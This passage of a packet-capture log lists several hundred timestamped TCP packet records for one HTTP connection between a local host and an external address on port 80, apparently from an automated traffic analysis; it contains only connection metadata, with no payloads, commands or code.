Aug 30, 2024 18:18:06.967210054 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967220068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967222929 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967230082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967241049 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967252970 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967273951 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967441082 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967451096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967490911 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967513084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967525005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967534065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967550039 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967550039 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967581034 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967609882 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967777967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967823982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967865944 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967916965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967926025 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967938900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.967957020 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.967974901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.968086958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968097925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968107939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968132973 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.968161106 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.968651056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968708038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968718052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968754053 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.968863964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968873978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968883991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968897104 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968908072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.968911886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.968925953 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.968955040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969065905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969151974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969161987 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969168901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969207048 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969367027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969377995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969393015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969403028 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969413042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969419956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969438076 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969455004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969600916 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969610929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969619989 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969630003 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969638109 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969640970 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969656944 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969687939 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969815969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969825983 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969835997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969846010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.969861031 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.969892025 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970056057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970066071 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970076084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970087051 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970097065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970105886 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970113993 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970124006 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970129013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970134974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970145941 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970145941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970156908 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970168114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970170021 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970185041 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970191002 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970196009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970213890 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970242977 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970822096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970832109 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970840931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970851898 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970861912 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970871925 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970871925 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970882893 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970891953 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970892906 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970902920 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970911980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970912933 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970923901 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.970932961 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970957994 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.970971107 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.971405029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971415997 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971426010 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971436024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971445084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971455097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971462011 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.971465111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971474886 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971484900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971493006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.971493959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971504927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971515894 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971518040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.971538067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.971560001 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.971949100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971960068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971968889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.971978903 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:06.972006083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:06.972037077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053179026 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053195000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053205967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053255081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053265095 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053276062 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053287029 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053328037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053427935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053508043 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053514004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053514004 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053519011 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053531885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053541899 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053554058 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053586006 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053611040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053710938 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053721905 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053731918 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053741932 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053759098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053780079 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053809881 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053841114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053885937 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053913116 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053925991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053936958 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053947926 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053957939 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.053957939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.053980112 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054012060 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054200888 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054212093 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054220915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054229021 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054238081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054239988 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054246902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054255009 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054280996 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054306030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054455996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054466963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054476976 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054485083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054506063 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054538012 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054646969 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054656982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054689884 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054732084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054763079 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054775000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054785967 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054795027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054805994 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054807901 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054816008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.054831982 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.054872990 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055025101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055063963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055083036 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055092096 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055123091 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055139065 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055202961 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055218935 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055228949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055238008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055258036 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055279016 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055342913 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055381060 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055418015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055457115 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055485964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055496931 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055505991 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055526018 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055550098 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055670023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055680037 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055690050 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.055715084 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.055742979 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056134939 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056186914 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056204081 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056212902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056246042 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056257963 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056276083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056286097 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056297064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056305885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056320906 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056344032 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056365967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056493044 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056503057 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056535959 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056555986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056632042 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056642056 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056652069 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056662083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056674004 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056677103 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056684017 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056694031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056710005 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056729078 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056746960 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056900024 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056942940 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.056967974 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.056978941 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057007074 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057024956 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057121038 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057131052 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057140112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057149887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057163000 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057173014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057208061 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057487965 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057497978 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057506084 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057516098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057526112 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057535887 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057538986 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057545900 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057555914 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057569027 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057601929 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057790995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057801008 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057810068 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057826996 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057832003 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057837963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057847977 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057857990 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057862043 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057869911 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057878971 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057888985 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057889938 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057904959 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.057914019 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057928085 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.057955980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058432102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058444023 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058453083 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058460951 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058470964 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058484077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058485031 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058495998 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058505058 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058515072 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058515072 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058525085 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058533907 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058533907 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058543921 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058552027 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058556080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058562040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058571100 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058578014 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058581114 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058590889 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058599949 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058599949 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058612108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.058619022 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058638096 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.058664083 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.059206963 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059257984 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.059282064 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059292078 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059324980 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.059338093 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.059372902 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059384108 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059393883 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059403896 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059415102 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.059439898 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.059464931 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.059484005 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.059525013 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:07.140736103 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:07.140762091 CEST	80	49730	185.215.113.100	192.168.2.4
